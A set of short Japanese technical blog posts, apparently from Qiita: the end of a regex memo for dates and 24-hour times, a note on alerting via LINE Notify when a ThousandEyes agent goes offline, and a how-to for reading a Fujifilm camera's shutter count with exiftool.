半角数字(ハイフン・小数点)
`/\A\d{4}-\d{2}-\d{2}\z/`

###時間
24時間表記
`/\A([01][0-9]|2[0-3]):[0-5][0-9]\z/`
***
#####参考にしたサイト
https://teratail.com/questions/145336
https://teratail.com/questions/61764
ThousandEyes を用いて、エージェントの状態をLINE Notify で通知

先日Ciscoに買収されたThousandEyesを用いて自宅のネットワーク環境を監視しました。
https://www.thousandeyes.com/ja/about/
ThousandEyesは下記から無料トライアルを申し込めます。
https://www.thousandeyes.com/ja/signup/

自宅のネットワークが切断されたら自宅のThousandEyes AgentがOfflineになることを検出させます。
ThousandEyes API v6を用いてEnterprise Agentの状態を取得します。Enterprise AgentがofflineになったらLINE Notify で通知します。
![thousandeys_line.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/102457/dbdc6b03-b02a-fdb7-1ad4-5e4fdb14b7f0.png)

詳細は下記URLをご参照ください。
https://github.com/t-umeno/thousandeyes-aws-lambda/blob/master/README.ja.md
手持ちのカメラのシャッター回数を調べる

# 背景

某フリマでミラーレスカメラを出品したところ、「シャッター回数を教えて下さい」と質問をもらいました。
カメラド素人のわたしは、「シャッター回数、なにそれ」という状態だったのですが、カメラの劣化状態を確認するのに必要なのだろうと判断、カメラの設定からみることができるのかなと調べましたが見つからなかったのでメモ。

調べると、いくつか方法を紹介しているサイトはあるものの、自分が持っている富士フィルム製品についてはできなかったので書きます。

## 課題

当初カメラの設定にあるだろうと思いましたが、現在は非表示のようです(メーカーコメントではないのと、他の機種を調べたわけではないのでわかりません)。

https://bbs.kakaku.com/bbs/K0000616779/SortID=19769070/
>Ｘ-Ｔ1総シャッター回数を調べたくて分からなかったので
メーカーに電話し聞いてみましたら
総シャッター数はカメラでもデータでも表示できないそうです、それが今の仕様だそうです！！

# 確認方法

結論から書くとExif の情報をexiftool を使って閲覧します。
Mac のFinder やWebサイトでは発見できませんでした。

## exiftool インストール方法

以下のサイトからインストーラをダウンロードしてインストールするだけです。
https://exiftool.org/

一応terminal で確認すると、こうなってます。

```
$ which exiftool
/usr/local/bin/exiftool
```

あとは、該当のミラーレスカメラで撮影した写真を読み込ませるだけです。
以下の例だと、`Image Count` にある `510` という数値がシャッター回数になるかと思います。

```
$ exiftool DSCF0073.JPG | grep Image
Image Stabilization             : Optical; On (mode 1, continuous); 0
Image Generation                : Original Image
Image Count                     : 510  # <- ここの数字
Exif Image Width                : 6000
Exif Image Height               : 4000
Preview Image Width             : 320
Preview Image Height            : 240
Preview Image                   : (Binary data 20226 bytes, use -b option to extract)
```


## 他の方法

### シャッター数.com のWebサイトで確認する

https://xn--xckyap6jx51z.com/

広告が多く、うっかりすると他のソフトウェアをインストールさせられるのでサイトを良く読んで進みましょう。
私は、シャッター数を持つ情報を含んでいませんとエラーになってしまいました。

### (Mac の場合) File Viewer を利用する

- App Storeから、以下のアプリをインストールします。
https://apps.apple.com/jp/app/file-viewer/id495987613?mt=12

- ファイルを読み込ませます

ただ、情報は色々表示されるのですが、シャッター回数と思われる数値は取れませんでした。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1388/2ba13400-d9ff-e1e0-9317-3f1d5ca0827e.png)


ではすてきなカメラライフを！ またはすてきなフリマライフを！ 
以上です。